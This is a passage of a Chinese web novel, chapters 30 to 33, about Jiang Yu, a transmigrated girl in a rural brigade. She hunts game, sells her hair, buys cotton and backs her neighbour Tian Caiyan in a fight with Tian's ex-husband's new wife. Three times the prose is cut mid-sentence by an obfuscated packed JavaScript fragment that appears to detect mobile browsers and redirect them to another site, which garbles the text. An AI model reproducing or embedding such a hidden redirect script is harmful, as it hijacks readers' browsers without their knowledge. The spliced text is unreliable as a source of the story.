江余走了一个小时才回到家,刚出国营饭店的时候她觉得肚子很饱,走了这一个小时的路,感觉消化得差不多了。 空着手走路也挺累得,也很慢,要是她能有一辆自行车就好了,去县城就不用走这么久的路了。她倒是可以买得起一辆自行车,至于自行车票嘛,可以去黑市买,只是她找不到理由解释钱和票的来源,她现在连新衣服都不敢穿出门。 之前买的那块瑕疵布,江余裁了十一尺下来做了一套衣服,六尺用来做衣服,五尺用来做裤子,她个子瘦小,做好的衣服穿在她身上还很宽松。 这身衣服她只在洗完澡后当睡衣穿,多穿几次,等穿旧了,就可以穿出去了。 大队里的人穿的衣服都是穿久了洗得褪色了的,谁要是穿一件新衣服,是很显眼的,江余没办法,只能等新衣服洗褪色了再穿出去。 要是他们大队的粮食能来个大丰收就好了,这样年底社员们还能分一点钱,到时候穿新衣服就有了理由,可惜这几年的粮食交了公粮之后,分的都不够社员们吃饱的,哪有余钱来发给社员啊。 30. 第 30 章 最近雨水挺多的,连着下了好几天的雨,前两天刚停,几场雨过后,有不少竹笋和蘑菇长出来了,大队里有不少人都上山采蘑菇挖竹笋去了,江余也背起背篓上山采些蘑菇,挖些竹笋。 外围人多,蘑菇都被采得差不多了,江余继续往山里走,越往里走人越少,没走几步路就能看到一丛蘑菇,没过多久,江余就采了小半篓蘑菇。江余原本是不会分辨蘑菇的,但是她有原主分辨蘑菇的记忆,就知道哪些蘑菇是有毒的,哪些蘑菇是没毒的。 这时,江余听到一阵草丛晃动的声音,她转头看过去,同时快速从空间取出一颗石子朝着草丛晃动的方向打出去,听到石子打中物体的声音,草丛还在晃动,江余又取出一颗石子顺着它跑的轨迹打出去,再一次打中后,它终于不动了。 江余跑过去拨开草丛一看,躺在草丛中的是一只野鸡,江余把它拎起来掂了掂重量,感觉有三斤多重,还挺肥的,一般野鸡也就两三斤重。 自从在山上捡到一次野鸡后,江余上山的时候都会带着石子,只要看到有野鸡野兔的出没,就掏出石子去打,只是野鸡野兔跑得太快了,她打十次最多有一两次打中。 为了能吃肉,江余苦练技术,树上的麻雀就成了江余的练习对象,她看见麻雀就掏石子打,打下来的麻雀也没浪费,都进了江余的肚子里,麻雀的肉是少了点,那也是肉。 江余练了这么久的技术,掷石子的准头有了一些提升,十次有五六次能打中,今天她的运气就很好,躲在草丛里的野鸡都被她打中了。 把野鸡放进空间里,江余继续采蘑菇,她一边采蘑菇,一边仔细听有没有野鸡野兔的动静,可惜直到她把这一片的蘑菇都采完了,她也没看到有野鸡野兔的影子。 江余的背篓已经装满了,空间里还放了一堆蘑菇,她觉得已经差不多,就打算下山。 下山的时候经过竹林,江余看到新长出来的竹笋,用锄头开始挖竹笋。 挖完一棵竹笋,江余抬头就看到同样背着背篓的梁月华拿着锄头朝竹林来,看样子也是来挖竹笋的。 梁月华也看见江余了,她笑着招招手,“江余姐。”她走近了看到江余背着的满满一筐蘑菇,有些惊讶道:“江余姐,你这么快就采满了一个背篓的蘑菇啊。”这才下工不久呢。 江余:“我往山里走远了一些,那里的蘑菇没人采。” 梁月华:“我妈妈说山里很危险的,江余姐,你下次不要往里面走了,在外围也可以采到蘑菇的。” 江余没有反驳,笑道:“好,下次我尽量不往山里走得太远。” “哇!兔子!”梁月华指着一个方向惊呼。 江余看过去,果然看到一只肥兔子卡在两棵竹子中间使劲蹬腿,进退两难,江余正要走过去抓兔子,那只兔子察觉到危险来临,力气爆发,一脚狠狠地蹬在竹子上,从两棵竹子的夹缝中脱身了。 眼看兔子要跑,江余直接把手里的锄头扔出去,一声闷响,锄头砸中了正在逃跑的兔子,兔子被压在锄头下面不动了。 “哇!江余姐,你好厉害啊!“梁月华看向江余的眼睛亮晶晶的,带了一丝羡慕。 江余谦虚地笑了笑,“运气好而已。” 她把兔子提起来,这只兔子可真肥,得有十斤重! 江余有些犯难了,她还没有处理过兔子呢,她看向梁月华,“田婶子会杀兔子吗?” 梁月华点点头,“我妈妈什么都会。” “那就麻烦你妈妈帮忙杀一下兔子,分兔子肉的时候,我可以少分一点。” 梁月华愣了一下,明白了江余的意思后,她摆摆手,“江余姐,这兔子是你打死的,我不能要。” “可是要不是因为你发现了兔子,我也没办法打到兔子啊,你看我在这里挖了这么久的竹笋,都没看见那只兔子,你一来就看见了。” 江余觉得这只兔子的出现都是因为女主在这里,就算没有她在,梁月华应该也是能捉到这只兔子的,毕竟是女主嘛,不然怎么解释她在这里蹲了那么久都没发现这只肥兔子呢。 梁月华被说服了,只是她担心她妈妈不会同意。 江余明白了她的顾虑,就说:“你就说是我们一起捉到的兔子不就行了。” 江余把野兔放在梁月华的背篓里,还从自己的背篓里拿出一些蘑菇盖住野兔,两人竹笋也不挖了,挑了一条人少的路下山了。 田婶子的爷爷是猎户,她小时候看家里人处理猎物,自己也学会了,只是这么多年过去了,她的手艺有些生疏,一开始她有些手生,慢慢地就变得熟练起来了。 把野兔处理好后,田婶子把兔子分成两半,把野兔的皮毛递给江余,“这兔子的皮毛可以做一顶帽子,冬天的时候戴着可暖和了。” 江余没接,“婶子,这兔子毛还是留给你吧,我不会处理这个。” “没事,我帮你处理,我跟我爷爷学过硝制皮毛,我帮你处理好再给你送过去,就这么说定了。” 田彩燕知道这野兔多半是江余打得,她的女儿哪有捉兔子的本事啊,既然江余希望她收下兔子,她也没拒绝这孩子的好意,心里想着以后多帮衬一些江余。 江余拿着一半兔子回家了,这兔子看着是挺肥的,其实没多少肉,处理好后,十斤的兔子就剩下三斤的肉了,分成两半,一半就是一斤多的肉。 江余没做过兔子,不知道该怎么做,她问田婶子,田婶子说这年代有肉吃就不错了,哪里还要讲究什么做法,煮熟了放点盐就行了。 要是早几天抓到这只兔子,江余就可以用红烧肉的汤汁来煮兔子了,可惜她已经把红烧肉给吃完了,剩的汤汁也用来炒青菜了。 江余想不到有什么做法,就把兔子洗干净后下锅去炒,炒得差不多了加水,放入桂皮和香叶去炖煮。 趁着炖兔子的间隙,江余去自留地摘今晚吃的菜。 江余正在摘菜,旁边陈家的自留地里突然站起来一个人,吓了江余一跳,这人是何大娘,她的一双小眼睛冒着精光,“江余,你从田家拿了什么东西回家?是不是肉?我闻到味道了。” 江余心想,今天可是一点风都没有,这都能闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049570|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,你是属狗的吗? “我为什么要告诉你?这跟你有什么关系?你别总想占我的便宜,你忘了上次被我家的篱笆扎大腿的事了?” 何大娘的语气酸溜溜的,“我就问问,又没说要你的东西,你看你着什么急啊?这都是邻居,凭什么就给你家不给我家啊,这田彩燕也太不懂事了。” “你这些话别在我面前说,有本事你去田婶子面前把这话说一遍。” 何大娘不敢,真要打起来,她可不是田彩燕的对手。 江余不再搭理何大娘了,继续摘菜,她还摘了一把老菜叶,回到家,把晚上吃的菜洗干净,再把老菜叶剁碎了喂鸡。 看着炖的时间差不多了,江余揭开锅盖,锅里的汤汁已经收得差不多了,放盐调味,江余尝了一块,这样做出来的兔肉味道还不错。 把兔肉盛出来,分一些出来今晚吃,剩下的放到空间里保存。 江余又炒了一个青菜,就可以吃晚饭了。 吃完饭后天也黑下来了,江余开着手电筒,把空间里放着的野鸡拿出来处理,处理好后的野鸡放到空间里保存着。 刚刚江余把拔鸡毛要用的热水倒出来后,又在锅里装满了水,她没继续烧火,灶洞里的炭火还没熄灭,打算用炭火的温度把水加热,她处理好野鸡的时间,锅里的水已经变热了,用来洗澡刚好合适。 江余洗完澡洗完衣服,回到房间,盘腿坐在床上,拿起昨天没看完的书摊在腿上,一手拿着手电筒,开始睡前阅读。 时间过的很快,过几天就是中秋节了,县城供销社来了新的物资了,江余请了假,和大队里的大娘婶子们一起坐驴车去县城。 去村口坐驴车的路上,江余碰到田婶子,田婶子不知道江余要去县城,就问她:“江余,我要去县城一趟,你要买什么东西吗?我帮你买。” 江余:“婶子,不用了,我也要去县城,我打算把头发给卖了换点钱。” 江余的头发挺长的,就是之前吃不饱,长出来的头发枯黄干燥,跟杂草一样,她穿越后吃得好了一些,新长出来的头发黑了一些,也有了一些光泽,她打算把原来枯黄的头发剪了,让头发重新长。 田彩燕:“你的头发长,应该能卖个几毛钱的,要是再养好一点,说不定可以卖上一块钱。上次来找我做衣服的李家小女儿,之前也卖过一次头发,她的头发跟你的一样长,不过她那头头发不知道是怎么养的,又黑又亮,卖了一块五呢!” 两人一起到村口去坐驴车,到了县城,田彩燕要陪着江余去理发店,“我跟你一起去,我帮你讲价,理发店的人不实诚,你要是不说,他就少给你一些,你要是说了,他就多给你一些。” 江余连忙摆摆手,“婶子,我知道的,不用你陪我去了,你不是要去供销社买东西吗?再不快点去,该买不到了。” 田彩燕一看供销社里人挤人的,担心自己买不到想要的东西,便不再坚持,“行吧,那你自己去理发店,记得跟理发店的人讲价啊!” 她说完就转身朝着供销社跑过去,挤进了人群里。 31. 第 31 章 供销社和理发店离得不太远,江余没走多久就到了,理发店不大,里面就一个剪头发的老师傅,听到有人进来,抬起头看了江余一眼,指一指墙上贴着的价目表,“儿童理发一毛八分钱。” 江余:…… 她的外表看上去也就十一岁、十二岁的样子,确实算是儿童。 “我不是来剪头发的,我要卖头发,师傅你看看我这头发能卖多少钱。” 老师傅走过来看了看江余绑在脑勺后面的马尾,他摇摇头,“你这头发发质不太好,我顶多能给你三毛钱。” “三毛也太少了,上次我们大队的人来卖头发,她的头发跟我的差不多长,卖了一块五呢,师傅你别看我是个孩子就压价啊。” 老师傅:“我从来不干那压价的事,三毛已经是很公道的价格了,看你是个孩子,我再加一毛钱给你买糖吃,四毛钱,行了吧?” “四毛还是太少了,五毛钱还差不多,算了,我不卖了。”江余说着就往外走。 江余脚步不停地出了理发店,老师傅叫住她,“行行行,五毛钱就五毛钱。”见江余回头后,他嘀咕了一句,“小丫头还挺精明的。” 等江余再次从理发店出来的时候,一头长发已经变成了短发,手里还多了五毛钱。江余对她的新发型不是很满意,老师傅剪头发的时候恨不得从根部剪,剪得有些坑坑洼洼的,不过这次剪头发没花钱还赚了钱,她就没计较那么多。 剪完头发,江余要去供销社买东西。 去供销社的路上,江余路过一个巷子,她看到有两个人站在角落里,年纪大一点的大娘拿着一个大麻袋,打开麻袋向一个大姐展示里面的东西,她的动作大了一点,江余能看到里面露出来的是白花花的棉花。 江余想到自己家里只有一床被子,那床被子用了好多年,已经不暖了,她也得想办法买点棉花来做一床新被子才行,要是盖着旧被子过冬,她还不得冻感冒了。 南方的冬天也很冷,那种刺骨的湿冷,没有厚被子肯定是不行的。 她猜测那个拿着麻袋的大娘是要卖棉花给那个大姐,等她们交易完之后,她可以去问问那位大娘家里还有没有棉花,能不能卖一些棉花给她。 不过她好像不用问了,因为那位大姐和大娘交谈了一番后,摇了摇头就骑着自行车走了,似乎是价格没谈拢不想要了,那位大娘一脸的后悔。 眼见那位大娘扛起麻袋要走,江余连忙走过去,“大娘,你这棉花是多的吗?” 大娘看见来问话的是个孩子,犹豫了一下,点点头,“是啊,怎么了?” “你的这些棉花能不能卖给我?” 大娘:“这些棉花可不便宜,你确定你要买?” 江余点点头,“这些棉花我全要了,一共要多少钱?” 大娘打开麻袋的口子,给江余看了看棉花,“我这棉花都是好棉花,八毛五分钱一斤,这里有十斤多一点,就算十斤,一共是八块五毛钱。” 刚刚她跟那个大姐要价八毛六分钱,那个大姐嫌贵,所以她这次降了一分钱。 江余:“行,不过我得先看看棉花是不是都是一样好。” 上面的棉花都是雪白蓬松的好棉花,但是麻袋装着,下面的棉花是什么样的看不见,有的人会以次充好,在上面放一层好的棉花,下面全是不好的,要是不检查,买回家一看,用买好棉花的钱买了一袋品质不好的棉花,那不是亏大了? 大娘对自己的棉花很有信心,“可以,你看吧,我这袋棉花都是好的,我可不是那种昧着良心以次充好的人。” 江余把手伸进麻袋里,把下面的棉花抓出来看,确实都是好棉花,底下也没有放石头什么的,她又把麻袋提起来感受了一下重量,这麻袋棉花确实有十斤。 确认棉花的质量和重量没问题,江余把八块五毛钱给了大娘。 大娘很谨慎地看了看周围,接过钱数好后,就走了。 大娘走后,江余看看周围没人,直接把一袋棉花放进空间里。 有了新的棉花,还要有新的布,做一条被子需要三四十尺布,她之前买的二十尺布裁了十一尺做衣服,还剩九尺,做被子肯定是不够的,她还得买布。 虽然她手里还有布票,但是她手里的布票也不多了,要是都用来做被子,那她就没办法再做别的了,她还想做一件新的棉衣呢,原本的棉衣也穿了好多年了,要是能买到瑕疵布就好了。 不知道现在还有没有不要票的瑕疵布,最近几天供销社的人那么多,就算有瑕疵布肯定也轮不到她,等过段时间她再来问问。 不要票的瑕疵布没有,不要票的饼干点心是有的,江余灵活地挤进供销社,来到卖糖果饼干的柜台,买了五斤不要票的饼干,用票买了两斤大白兔奶糖。 手里有了工业票后,她就想多买一个锅,上次来的时候,供销社的售货员说铁锅暂时没货了,不知道现在有货没有。 江余一边挤到卖铁锅的柜台,一边接着人群的遮掩,把饼干和大白兔奶糖放进空间里。 前几天供销社刚补过货,是有铁锅卖的,江余花了六块钱和两张工业券买了一口铁锅,之后又买了一些生活用品,等她走出供销社的时候,买的东西都被她放进空间里了,她手里就拿了一袋盐。 江余本来还想着该怎么避开田婶子和大队里的人买东西的,谁知道她在供销社都没看到田婶子,也没看到大队里的人,实在是供销社里的人太多了。 看着还有时间,江余又去了一趟肉铺,她手里的肉票都是有日期限制的,得在过期之前把票用完。 来到肉铺,台子上摆着的猪肉还有挺多的,估计是要过节了,屠宰场供应的猪肉多了一些。 五花肉已经卖完了,江余买了一斤肥肉多一些的前腿肉。 过几天中秋节抽奖不知道能不能抽到肉,这个月抽到肉的概率好低,她就抽到过一次肉,过节总得吃点肉,她先买好,要是没抽到肉也有肉吃。 江余手里还有一些快过期的粮票没用出去,她打算去国营饭店看看有什么卖,大队里的驴车出发得早,来到县城的时候才七点多,这个时间是供应早餐的时间,国营饭店是开门的。 趁着没人看见的时候,江余从空间里把挎包和铝制饭盒拿出来,把铝制饭盒放进挎包里,背着挎包往国营饭店去。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062489|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天国营饭店的牌子上写着早餐供应肉包子、油条和豆浆,肉包子一毛钱两个,油条六分钱两根,豆浆两分钱一碗,一毛钱一水壶。 江余要了十个肉包子和十个油条,豆浆就不买了,省点钱,她空间里带着水壶呢,渴了喝水壶里的白开水就行了。 服务员还记得江余,就算她剪短了头发也能认出人来,听到江余点这么多,她没有多问什么。 这次江余连饭盒都不用掏出来了,油条是用油纸包好的,肉包子也是用纸包着的,她直接接过来放进挎包里就行了。 江余早上喝了一碗粥就出来了,现在肚子已经饿了,正好可以吃个包子填填肚子,江余吃了两个肉包子,又吃了一根油条,剩下的包子和油条借着挎包的遮掩都放进空间里。 估计快到集合的时间了,江余开始往回走,路上把挎包收回空间里,把从供销社买的盐拿在手上。 江余走到驴车停放的那棵树下的时候,田婶子已经买完东西坐在驴车上了,她见到江余手里拿着一袋盐,就说:“你这孩子,要买盐跟我说一声嘛,我顺手就帮你买了,这供销社里的人这么多,你一个小孩子,哪里挤得过,买一包盐还要挤半天。” 江余解释了一句,“我一进去就买到了,没费什么时间,我看还没到回去的时间,就四处去看了看。” 田彩燕又问:“那你卖头发的时候跟理发店里的师傅讲价没有?” 江余点点头,“我按婶子你说的讲价了。” 其他人这才注意到江余剪了头发,都问江余的头发卖了多少钱,江余伸出一只手掌,“卖了五毛钱。” 田彩燕:“这个价钱还算公道。” 驴车回到江河大队,社员们下了驴车,三三两两结伴往家走,看着前面一起走的江余和田彩燕,后面的大娘转头问旁边的大娘,“这田彩燕和江余丫头什么时候走得这么近了?” “这也不奇怪,田彩燕离婚后搬到大队里废弃的房子里,和江余成了邻居,两人住得近来往就多了。” “看样子田彩燕还挺照顾江余的,比张秀英和吴桂花她们好多了,还是做伯娘和婶子的呢,对没爸没妈的侄女不闻不问的。” “做大伯叔叔的还是有血缘关系的呢,都对侄女不闻不问,还能指望没血缘关系的伯娘婶子对侄女多好吗?再说了,张秀英和吴桂花怎么做,还不是要看她们男人的意思。” 说到这两家,大娘们有话可聊了,开始说起这两家的闲话来。 自从这两家被骗钱的事传遍大队后,大队的人对这两家更加羡慕嫉妒了,大家都过得挺穷的,偏偏你们两家还能拿出五百块钱来给孩子买工作,这怎么能不招人眼红呢? 梁家能拿出五百块给田彩燕,那是因为梁水生在城里当工人,江有田和江有粮凭什么啊?就因为他们有个有出息又早死的兄弟? 这段时间社员们看见江有田和江有粮,就要问他们是不是真的被骗了五百块,本来就因为被骗了钱而心烦郁闷的江家兄弟听到这话,脸色更加阴沉了。 因为江有田和江有粮心情阴郁,这段时间这两家都处在低气压中,江卫党都不敢催江有田给他再买一个工作了。 32. 第 32 章 中秋节当天,江余早早起来了,比她起得更早的是笼子里的六只小母鸡,江余打开笼子,让它们出来活动。 当然,活动范围只限大门以内,江余把小母鸡们放出来活动的时候,首先要把大门关得严严实实的,不然它们跑出去就麻烦了。 为了不让别人发现她多养了鸡,江余每天都很小心,这样是麻烦了一些,但是现在说让江余不养那么多,只留下两只,江余真的很舍不得,这可是她挖野菜捉虫子养大的小母鸡啊。 它们再过两个月就能下蛋了,六只母鸡平均一天能下三个蛋呢,少了四只母鸡,那每天就要少两个蛋。 为了一天三个鸡蛋,江余决定继续养着它们,只要她小心一点,不让它们走出大门就不会被人发现。 平时也没什么人会来她家,有人来了也不怕,她把养鸡的笼子放在柴房里,把门一关,谁知道她养了多少只鸡,她出去都会把门锁上,别人也进不来。 唯一知道她养了六只鸡的就只有田婶子了,不过以江余对田婶子的了解,她觉得田婶子不是会多嘴的人。 反正就先养着吧,要是真的被发现了,她就把它们收进空间里,吃鸡蛋变成吃鸡肉。 江余在食槽里倒入清水,再把昨晚摘回来的菜叶子切碎洒在天井,让小母鸡们自己去啄食。 做完这些,江余才开始洗漱,还是牙膏牙刷好用,之前江余用树枝沾盐来刷牙,不习惯不说,还总感觉没刷干净。 洗漱完之后,就要开始做今天最重要的事啦,那就是抽奖。 江余猜测今天的抽奖奖励里面肯定会有月饼,就是不知道特殊奖励会是什么,要是和储物空间一样特殊的奖励就好了。 江余一边在心中默念希望能抽到好东西,一边按下了抽奖按钮。 “恭喜获得中秋节大礼包一个!” “恭喜获得果树生长液一瓶!” 江余拿起那瓶果树生长液,瓶身上贴着一张纸,上面写着:促进果树生长,一年成树,两年挂果,三年丰收! 这果树生长液看起来挺厉害的,只是系统给她这个果树生长液是什么意思?让她承包山头种果树?现在给她这个奖励给得也太早了吧,想承包山头还要再等十几年呢。 也不知道这个生长液是只对果树有用,还是对所有的树都有用,等她有空了再研究研究。 大礼包一如既往是用麻袋装着,打开麻袋先看到的是月饼,包装和供销社卖的月饼一样,用油纸包裹着,一包里面有四个月饼,大概是一斤重,江余数了一下,麻袋里有五包月饼,也就是五斤。 月饼拿出来后,下面是满满一篮子鸡蛋,大概有个五六斤的样子,她又有鸡蛋吃了。 最底下是二十斤大米和两斤猪肉,这次系统很大方,之前都是给十斤大米的,这次翻倍了,不知道是不是因为她的饭量变大了。 把大米放到房间的柜子里,月饼、鸡蛋和猪肉都放到空间里。 江余开始做早饭,粥煮开后,倒入半碗玉米面,搅拌均匀,盖上盖子再焖煮一会儿,等大米煮到开花,玉米粥就煮好了。 早饭是玉米粥配咸菜,再加上一根油条。 从国营饭店买的肉包子和油条,除去当天吃掉的两个肉包子和一根油条,剩下的江余每天早上喝粥的时候吃一根油条,中午吃饭的时候吃一个肉包子。 算上今天吃了三根油条和三个肉包子了,从县城回来当天吃午饭的时候她也吃了一个肉包子,还剩两个肉包子和六根油条。 吃完早餐,江余换上干活穿的衣服,再把原来穿的衣服给洗了,每天洗一次,这身衣服都被江余洗得有些褪色了,相信很快它就会变得和江余干活穿的衣服一个颜色了。 差不多到上工时间了,江余把水壶装满白开水,准备去上工,出门的时候还要先把鸡赶回笼子,才能锁上门去上工。 江余最近的力气变大了一些,六工分的活对她来说不怎么吃力了,再过几个月她应该能拿七工分了。 同组干活的大娘还挺惊讶的,“江余,你现在干活越来越利索了,我看你也没长什么肉啊,怎么力气变得这么大。” 江余当然长肉了,只是看上去不明显,她手臂和腿上都长了薄薄的一层紧实的肌肉,她的脸上也长了肉,下巴没那么尖了。 最明显的变化是她的身高,她每隔一个月就在房间门框上划一条线,这几个月她长高了差不多有八公分。 只是同组的大娘每天都和她一起干活,看不出来她的变化而已,要是让一个几个月没见过她的人来看,肯定能看出来她长高了,也没那么瘦了。 中午去自留地摘菜的时候,发现有几个黄瓜可以摘了,江余把大一些的几个黄瓜都摘了下来,拿回家后用水洗干净,“咔嚓”啃了一口,相比煮熟的黄瓜,她更喜欢生黄瓜的清脆爽口。 空间里还存放有新鲜的蘑菇,江余拿一些出来洗干净,打算和五花肉一起炒。 自留地种的小葱和蒜苗长成了,她拔了几棵回来和肉一起炒,种的生姜还不能挖,她还是挖的野姜,种在木桶里的野姜被她移植到自留地里去了。 大中午的炒菜还要把门窗关严实,把江余热得直流汗,要吃一顿肉真不容易,还得瞒着不让人知道。 好在五花肉炒蘑菇足够美味,能让江余心中的烦闷一扫而空,为了吃肉,辛苦一些也是值得的。 “中午的时候,我看见梁水生带着一个女人回来了,他这是离婚后又找了一个?” “什么啊,我看那多半是梁水生在城里娶的那个女人,我看见那个女人抱着梁水生的儿子呢!” “梁水生离婚后也没带过那个女人回来,我都忘了他在城里还娶了一个了。” “哎哟,田彩燕还在咱们大队呢,这要是碰见了,多尴尬啊。” “人家就回来过个节,明天就走了,田家跟梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079387|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家又不是挨着的,应该见不到的。” 田彩燕见到了梁水生在城里娶的那个女人,不是在路上碰到的,是方小荷找上门去的。 方小荷上身穿着一件的确良衬衫,下身穿了一条到小腿长的裙子,头发烫着卷儿,脸上还化了妆,站在田家的门前十分显眼。 大队里的人都知道田彩燕离婚是因为梁水生在城里又娶了一个,现在新欢找上门来了,这样的热闹,大队里的人怎么能错过呢。 大娘们看到方小荷的打扮,都觉得这女人不是个会过日子的,打扮得妖妖娆娆的,哪里会干活啊,这梁水生真是瞎了眼,放着这么能干的田彩燕不要,娶了这样一个女人,以后有的他后悔的。 小媳妇和大姑娘们看到方小荷的打扮则是十分羡慕,这身打扮真时髦,要是她们也能做一身这样的衣服就好了,那头发卷得真好看,听说烫头发可贵了…… 江余听到外面的动静也跟着出来看,她空间里放着石子呢,要是田婶子和对方打起来了,她就帮着田婶子,保证不让田婶子吃亏。 田彩燕面无表情地看着方小荷,就算她没见过方小荷,也能猜出她就是和梁水生现在的妻子,更何况方小荷已经自报家门了。 以前田彩燕经常去梁水生的厂里找过他,厂里的人都知道梁水生结婚了,方小荷和梁水生在一个厂里,她不可能不知道梁水生结婚的事。 明知道对方已经有家室,还要插足别人的家庭,对于这种人,田彩燕没给她几巴掌,都是她脾气好了,要她给好脸色,想都别想。 “你来干什么?” “彩燕姐,你别误会,我没有别的意思,我就是想着今天是中秋节嘛,是一家团圆的日子,月华是水生的女儿,是小刚的姐姐,就想让月华和我们一起吃个团圆饭。” 田彩燕刚想拒绝,看到门后露出好奇神色梁月华,话到了嘴边又咽了下去。 她知道即使梁水生一年没几天在家里,女儿还是很喜欢爸爸的,也许女儿想去见梁水生,她不应该替女儿拒绝。 “这事我做不了主,你问月华吧。”田彩燕将选择权交给女儿。 方小荷也看到门后的梁月华了,她对梁月华露出和蔼的笑容,“你就是月华吧,你爸爸经常提起你,真是个漂亮的小姑娘,你爸爸让我来叫你回家一起吃饭,来,跟我走吧。” 梁月华看着方小荷,她知道爸爸就是因为方小荷才跟她妈妈离婚的,她本能地对方小荷有些抗拒,而且,方小荷的笑容也让她觉得有些不舒服。 梁月华问了一句,“我妈妈也一起去吗?” 方小荷的笑容僵住了,很快又恢复了正常,只是脸上的笑容淡了一些,“你妈妈不去,今天是我们一家人吃团圆饭,你妈妈和你爸爸已经离婚了,不算是一家人了。” 梁月华抿了抿嘴,“那我也不去了。” 爸爸有那么多人陪着,妈妈只有一个人,她要陪着妈妈。 33. 第 33 章 方小荷的笑容又凝固了,她心里有些恼怒,脸上却还要维持着笑容,“这……彩燕姐,你快劝劝啊,水生还在家等着呢,他和月华这么久没见了,他也想女儿了,难道你不想他们父女见面培养一下感情吗?” 田彩燕扯了扯嘴角,露出一个讽刺的表情,“我劝不了,梁水生要是想女儿了,就让他自己来看她。” “彩燕姐,我知道你心里对水生有怨恨,但你不能因为自己的怨恨,就在女儿面前说水生的坏话,挑拨他们父女之间的关系啊!” 这话可把田彩燕给气坏了,方小荷这话是想离间她和月华之间的母女感情! 虽然她们母女的感情深厚,不会因为这一句话就出现隔阂,但是,方小荷的这个做法触犯了她的底线。 田彩燕的脸色沉下来,“你哪只耳朵听见我挑拨他们的父女关系了?!” 方小荷笑了一下,“这不是很明显的事吗?哪个孩子不想和自己的爸爸待在一起的,月华不肯去见她爸爸,不就是因为你在她面前说了水生的坏话吗?” 田彩燕自从离婚后,就当没了梁水生这个人了,她几乎不在女儿面前提起梁水生,更别说在女儿面前说他的坏话了。 田彩燕还真不是什么脾气好的人,她能心平气和地方小荷说话,是不想让大队的人看笑话,现在方小荷想离间她的女儿的母女感情,她可就忍不了。 她今天就要让方小荷知道,她田彩燕从来都是有气就当场发作,绝对不会在背后说人坏话的。 “啪!”一声清脆的巴掌声响起,方小荷歪着头捂着脸,满眼的不可置信,她的声音因为愤怒颤抖,“你居然打我!” 田彩燕居高临下,“这一巴掌,是想告诉你,我田彩燕从来都是有仇就报,绝对不会在人的背后说人的坏话!” 方小荷只觉得左脸火辣辣地疼,她也顾不上再维持形象了,想要把这一巴掌还给田彩燕,田彩燕直接抓住她举起的右手,伸手一推,方小荷就摔在了地上。 方小荷崭新的衣服裙子上都沾满了灰尘,变得有些狼狈,她从来没有这么丢脸过,她从地上爬起来,崩溃地喊着,“你这个泼妇,我跟你拼了!” 相比冷着脸的田彩燕,此时方小荷更像泼妇一点。 两个人扭打起来,别看方小荷一副肩不能挑手不能提的样子,她打起架来还挺猛的,能和田彩燕打得有来有回呢。 江余担心田彩燕吃亏,她手里捏着石子,看准时机就出手,在江余的助攻下,方小荷根本不是田彩燕的对手,几乎就是被压着打。 旁边的围观群众像看戏一样,看得津津有味,恨不得拍手叫好。 梁家的人接到消息赶来,梁水生看到人群中间打得不可开交的两个人,他皱着眉指责起围观的社员来,“大家都是同一个大队的,你们怎么也不劝着点,就这么看着她们打?” 大家不高兴了,“我们倒是想帮忙,田彩燕一直占着上风呢,压着别人打,我们哪还好意思上去帮忙,那不就成了我们江河大队的人以多欺少了吗?” 这意思是田彩燕是同一个大队的人,方小荷是外人。 梁水生又没带着新娶的老婆出来见人,他们哪里知道方小荷是梁家的媳妇啊,只能当她是个外人了,大队的人都是帮着自己人的,哪有向着一个外人的道理啊。 大家都装着不认识方小荷的样子,梁水生也没办法,他不好再说什么,只好推一推旁边的梁晓芹,“你看你嫂子都被打成什么样了,你还不快去把人给拉开。” 梁晓芹心想,那还是你媳妇呢,你怎么不去? “哥,她们一个是你前妻,一个是你现在的媳妇,她们肯定听你的,你去劝架可比我有用多了,还是你去吧。” 梁水生:“我一个大男人怎么好去给两个女人拉架,还是你们姑娘家方便一些,你嫂子还给你送了丝巾呢,你快点去!” 梁晓芹在心里翻了个白眼,都是你的媳妇,有什么不方便的,但她不能说什么,只能上去拉架,谁叫她收了这个新嫂子的一条丝巾呢。 “别打了,快别打了!” 梁晓芹冲上去要把方小荷给拉走,方小荷哪肯啊,她还没打回去呢,就这么走了,她岂不是白白丢了脸,白白挨了打?她不但不肯走,还叫梁晓芹帮她一起对付田彩燕。 梁晓芹哪里肯帮她去对付田彩燕啊,她根本不是田彩燕的对手。她连忙说:“嫂子,快别打了,再打我哥就要生气了。” “什么?你哥来了?”方小荷心中一惊,那她这副狼狈的模样岂不是被梁水生看见了? 梁晓芹终于把方小荷给拉走了,就这么一会儿,她就被两人误伤,挨了好几下了,这条丝巾可真不好拿。 